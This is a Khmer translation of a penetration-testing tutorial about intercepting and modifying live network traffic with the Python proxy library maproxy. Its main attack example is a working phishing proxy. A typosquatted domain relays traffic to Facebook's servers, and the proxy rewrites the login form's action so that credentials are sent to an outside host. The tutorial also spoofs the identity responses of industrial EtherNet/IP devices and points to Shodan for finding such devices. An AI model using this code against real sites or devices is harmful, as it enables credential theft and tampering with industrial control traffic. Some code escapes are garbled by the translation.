ដំណើរការទិន្នន័យបណ្តាញភ្លាមៗ

ការបកប្រែអត្ថបទត្រូវបានរៀបចំនៅមុនថ្ងៃចាប់ផ្តើមនៃវគ្គសិក្សា "Pentest ។ ការអនុវត្តការធ្វើតេស្តការជ្រៀតចូល".

អរូបី

ភាពខុសគ្នានៃប្រភេទនៃការវាយតម្លៃសុវត្ថិភាព រាប់ចាប់ពីការធ្វើតេស្តការជ្រៀតចូលជាប្រចាំ និងប្រតិបត្តិការក្រុមក្រហម រហូតដល់ការលួចចូលឧបករណ៍ IoT/ICS និង SCADA ពាក់ព័ន្ធនឹងការធ្វើការជាមួយបណ្តាញប្រព័ន្ធគោលពីរ ដែលជាការស្ទាក់ចាប់ និងកែប្រែទិន្នន័យបណ្តាញសំខាន់ៗរវាងអតិថិជន និងគោលដៅ។ Sniffing network traffic មិនមែនជាការងារពិបាកទេ ព្រោះយើងមានឧបករណ៍ដូចជា Wireshark, Tcpdump ឬ Scapy ប៉ុន្តែការកែប្រែហាក់ដូចជាការងារដែលពឹងផ្អែកលើកម្លាំងពលកម្មច្រើនជាង ព្រោះយើងនឹងត្រូវមានចំណុចប្រទាក់ប្រភេទមួយចំនួនដើម្បីអានទិន្នន័យបណ្តាញ ត្រងវា ផ្លាស់ប្តូរ។ វាភ្លាមៗ ហើយបញ្ជូនវាត្រឡប់ទៅម៉ាស៊ីនគោលដៅវិញក្នុងរយៈពេលស្ទើរតែពិតប្រាកដ។ លើសពីនេះទៀត វានឹងជាការល្អប្រសិនបើឧបករណ៍បែបនេះអាចដំណើរការដោយស្វ័យប្រវត្តិជាមួយនឹងការតភ្ជាប់ប៉ារ៉ាឡែលច្រើន ហើយអាចប្ដូរតាមបំណងដោយប្រើស្គ្រីប។

ថ្ងៃមួយខ្ញុំបានរកឃើញឧបករណ៍មួយដែលមានឈ្មោះថា maproxyឯកសារនោះបានធ្វើឱ្យខ្ញុំច្បាស់យ៉ាងរហ័ស maproxy - គ្រាន់តែជាអ្វីដែលខ្ញុំត្រូវការ។ នេះគឺជាប្រូកស៊ី TCP ដ៏សាមញ្ញ ល្អប្រើ និងអាចកំណត់រចនាសម្ព័ន្ធបានយ៉ាងងាយស្រួល។ ខ្ញុំបានសាកល្បងឧបករណ៍នេះនៅលើកម្មវិធីស្មុគ្រស្មាញជាច្រើន រួមទាំងឧបករណ៍ ICS (ដែលបង្កើតកញ្ចប់ព័ត៌មានជាច្រើន) ដើម្បីមើលថាតើវាអាចគ្រប់គ្រងការតភ្ជាប់ប៉ារ៉ាឡែលជាច្រើន ហើយឧបករណ៍ដំណើរការបានល្អដែរឬទេ។

អត្ថបទនេះនឹងណែនាំអ្នកឱ្យដំណើរការទិន្នន័យបណ្តាញភ្លាមៗដោយប្រើ maproxy.

ទិដ្ឋភាពទូទៅ

ឧបករណ៍ maproxy គឺផ្អែកលើ Tornado ដែលជាក្របខ័ណ្ឌបណ្តាញអសមកាលដ៏ពេញនិយម និងចាស់ទុំនៅក្នុង Python ។

ជាទូទៅ វាអាចដំណើរការក្នុងរបៀបជាច្រើន៖

• TCP:TCP - ការតភ្ជាប់ TCP ដែលមិនបានអ៊ិនគ្រីប;
• TCP:SSL и SSL:TCP - ជាមួយនឹងការអ៊ិនគ្រីបផ្លូវមួយ;
• SSL:SSL - ការអ៊ិនគ្រីបពីរផ្លូវ។

វាមកជាបណ្ណាល័យ។ សម្រាប់ការចាប់ផ្តើមរហ័ស អ្នកអាចប្រើឯកសារឧទាហរណ៍ដែលឆ្លុះបញ្ចាំងពីមេ មុខងារបណ្ណាល័យ:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

ករណីទី 1 - ប្រូកស៊ីទ្វេទិសសាមញ្ញ

អាស្រ័យ​លើ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

តាមលំនាំដើម ProxyServer() យកអាគុយម៉ង់ពីរ - ទីតាំងតភ្ជាប់ និងច្រកគោលដៅ។ server.listen() យកអាគុយម៉ង់មួយ - ច្រកសម្រាប់ស្តាប់ការភ្ជាប់ចូល។

ដំណើរការស្គ្រីប៖

# python tcp2tcp.py

ដើម្បីដំណើរការការសាកល្បង យើងនឹងភ្ជាប់ទៅម៉ាស៊ីនមេ SSH មូលដ្ឋានតាមរយៈស្គ្រីបប្រូកស៊ីរបស់យើង ដែលស្តាប់នៅលើ 2222/tcp ច្រកនិងភ្ជាប់ទៅច្រកស្តង់ដារ 22/tcp ម៉ាស៊ីនមេ SSH៖

ផ្ទាំងបដាស្វាគមន៍ ជូនដំណឹងដល់អ្នកថា ស្គ្រីបឧទាហរណ៍របស់យើងបានប្រូកស៊ីចរាចរបណ្តាញដោយជោគជ័យ។

ករណីទី 2 - ការកែប្រែទិន្នន័យ

ស្គ្រីបសាកល្បងមួយទៀត logging_proxy.py ល្អបំផុតសម្រាប់អន្តរកម្មជាមួយទិន្នន័យបណ្តាញ។ មតិយោបល់នៅក្នុងឯកសារពិពណ៌នាអំពីវិធីសាស្រ្តថ្នាក់ ដែលអ្នកអាចកែប្រែដើម្បីសម្រេចបាននូវគោលដៅរបស់អ្នក៖

អ្វីដែលគួរឱ្យចាប់អារម្មណ៍បំផុតគឺនៅទីនេះ៖

• on_c2p_done_read - ស្ទាក់ចាប់ទិន្នន័យពីម៉ាស៊ីនភ្ញៀវទៅម៉ាស៊ីនមេ។
• on_p2s_done_read - បញ្ច្រាស។

តោះព្យាយាមផ្លាស់ប្តូរបដា SSH ដែលម៉ាស៊ីនមេត្រឡប់ទៅអតិថិជនវិញ៖

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ប្រតិបត្តិស្គ្រីប៖

ដូចដែលអ្នកអាចឃើញម៉ាស៊ីនភ្ញៀវត្រូវបានគេយល់ច្រឡំដោយសារតែឈ្មោះម៉ាស៊ីនមេ SSH សម្រាប់គាត់ត្រូវបានប្តូរទៅ «DumnySSH».

ករណីទី 3 - គេហទំព័របន្លំសាមញ្ញ

មានវិធីមិនចេះចប់ដើម្បីប្រើឧបករណ៍នេះ។ លើកនេះសូមផ្តោតលើអ្វីដែលជាក់ស្តែងបន្ថែមទៀតពីផ្នែកប្រតិបត្តិការក្រុមក្រហម។ តោះធ្វើត្រាប់តាមទំព័រចុះចត m.facebook.com ហើយប្រើដែនផ្ទាល់ខ្លួនជាមួយការវាយអក្សរដោយចេតនា ជាឧទាហរណ៍ m.facebok.com. សម្រាប់គោលបំណងធ្វើបាតុកម្ម សូមសន្មតថាដែនត្រូវបានចុះឈ្មោះដោយពួកយើង។

យើង​នឹង​បង្កើត​ការ​តភ្ជាប់​បណ្តាញ​ដែល​មិន​បាន​អ៊ិនគ្រីប​ជាមួយ​ប្រូកស៊ី​ជនរងគ្រោះ​របស់​យើង និង SSL Stream ទៅកាន់​ម៉ាស៊ីន​មេ Facebook (31.13.81.36) ដើម្បីធ្វើឱ្យឧទាហរណ៍នេះដំណើរការ យើងត្រូវជំនួសបឋមកថា HTTP និងបញ្ចូលឈ្មោះម៉ាស៊ីនត្រឹមត្រូវ ហើយយើងក៏នឹងបិទការបង្ហាប់ការឆ្លើយតបផងដែរ ដូច្នេះយើងអាចចូលប្រើមាតិកាបានយ៉ាងងាយស្រួល។ ទីបំផុត យើងនឹងជំនួសទម្រង់ HTML ដើម្បីឱ្យលិខិតសម្គាល់ការចូលត្រូវបានផ្ញើមកយើងជំនួសឱ្យម៉ាស៊ីនមេរបស់ Facebook៖

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/km/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

សង្ខេប៖

ដូចដែលអ្នកអាចឃើញ យើងអាចជំនួសគេហទំព័រដើមបានដោយជោគជ័យ។

ករណីទី 4 - ច្រកអ៊ីសឺរណិត / IP

ខ្ញុំបានដោះស្រាយជាមួយឧបករណ៍ឧស្សាហកម្ម និងសូហ្វវែរ (ICS/SCADA) អស់មួយរយៈមកហើយ ដូចជាឧបករណ៍បញ្ជាដែលអាចសរសេរកម្មវិធីបាន (PLC), ម៉ូឌុល I/O, ដ្រាយ, ការបញ្ជូនត, បរិយាកាសសរសេរកម្មវិធីជណ្តើរ និងអ្វីៗជាច្រើនទៀត។ ករណីនេះគឺសម្រាប់អ្នកដែលចូលចិត្តវត្ថុឧស្សាហកម្ម។ ការលួចយកដំណោះស្រាយបែបនេះពាក់ព័ន្ធនឹងការលេងយ៉ាងសកម្មជាមួយនឹងពិធីការបណ្តាញ។ ក្នុងឧទាហរណ៍ខាងក្រោម ខ្ញុំចង់បង្ហាញពីរបៀបដែលអ្នកអាចកែប្រែចរាចរណ៍បណ្តាញ ICS/SCADA។

សម្រាប់ការនេះអ្នកនឹងត្រូវការដូចខាងក្រោម:

• បណ្តាញ sniffer ឧទាហរណ៍ Wireshark;
• អ៊ីសឺរណិត / IP ឬគ្រាន់តែជាឧបករណ៍ SIP អ្នកអាចស្វែងរកវាដោយប្រើសេវាកម្ម Shodan ។
• ស្គ្រីបរបស់យើងគឺផ្អែកលើ maproxy.

ជាដំបូង សូមក្រឡេកមើលអ្វីដែលការឆ្លើយតបកំណត់អត្តសញ្ញាណធម្មតាពី CIP (Common Industrial Protocol) មើលទៅដូច៖

ការកំណត់អត្តសញ្ញាណឧបករណ៍ត្រូវបានសម្រេចដោយប្រើពិធីការអ៊ីសឺរណិត/IP ដែលជាកំណែប្រសើរឡើងនៃពិធីការអ៊ីសឺរណិតឧស្សាហកម្មដែលគ្របដណ្តប់ពិធីការគ្រប់គ្រងដូចជា CIP ជាដើម។ យើងនឹងផ្លាស់ប្តូរឈ្មោះ ID ដែលបានបន្លិចដែលអាចមើលឃើញនៅក្នុងរូបថតអេក្រង់ "NI-IndComm សម្រាប់អ៊ីសឺរណិត" ដោយប្រើស្គ្រីបប្រូកស៊ីរបស់យើង។ យើងអាចប្រើស្គ្រីបឡើងវិញបាន។ logging_proxy.py ហើយស្រដៀងគ្នានឹងកែប្រែវិធីសាស្ត្រថ្នាក់ on_p2s_done_readពីព្រោះយើងចង់ឱ្យឈ្មោះអត្តសញ្ញាណផ្សេងអាចមើលឃើញនៅលើម៉ាស៊ីនភ្ញៀវ។

លេខកូដ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

ជាសំខាន់ យើងបានស្នើសុំការកំណត់អត្តសញ្ញាណឧបករណ៍ពីរដង ការឆ្លើយតបទីពីរគឺជាឧបករណ៍ដើម ហើយលេខទីមួយត្រូវបានកែប្រែភ្លាមៗ។

ហើយចុងក្រោយ

ក្នុង​គំ​ណិ​ត​របស់ខ្ញុំ maproxy ឧបករណ៍ងាយស្រួល និងសាមញ្ញ ដែលត្រូវបានសរសេរនៅក្នុង Python ផងដែរ ដូច្នេះខ្ញុំជឿថា អ្នកក៏អាចទទួលបានអត្ថប្រយោជន៍ពីការប្រើប្រាស់វាផងដែរ។ ជាការពិតណាស់ មានឧបករណ៍ស្មុគ្រស្មាញជាងមុនសម្រាប់ដំណើរការ និងកែប្រែទិន្នន័យបណ្តាញ ប៉ុន្តែពួកគេក៏ទាមទារការយកចិត្តទុកដាក់បន្ថែមទៀត ហើយជាធម្មតាត្រូវបានបង្កើតឡើងសម្រាប់ករណីប្រើប្រាស់ជាក់លាក់មួយ ឧ. មូរ៉ាណា, ម៉ូលីសកា ឬ អាក្រក់ជីន សម្រាប់ករណីស្រដៀងនឹងករណីទីបី ឬ canape សម្រាប់ករណីចុងក្រោយ។ វិធីមួយ ឬមធ្យោបាយផ្សេងទៀត ដោយមានជំនួយ maproxy អ្នកអាចអនុវត្តគំនិតរបស់អ្នកយ៉ាងឆាប់រហ័សសម្រាប់ការស្ទាក់ចាប់ទិន្នន័យបណ្តាញ ដោយសារឧទាហរណ៍ស្គ្រីបគឺច្បាស់ណាស់។

សាកល្បងយន្តការផ្ទៀងផ្ទាត់នៅក្នុង Windows AD

ប្រភព: www.habr.com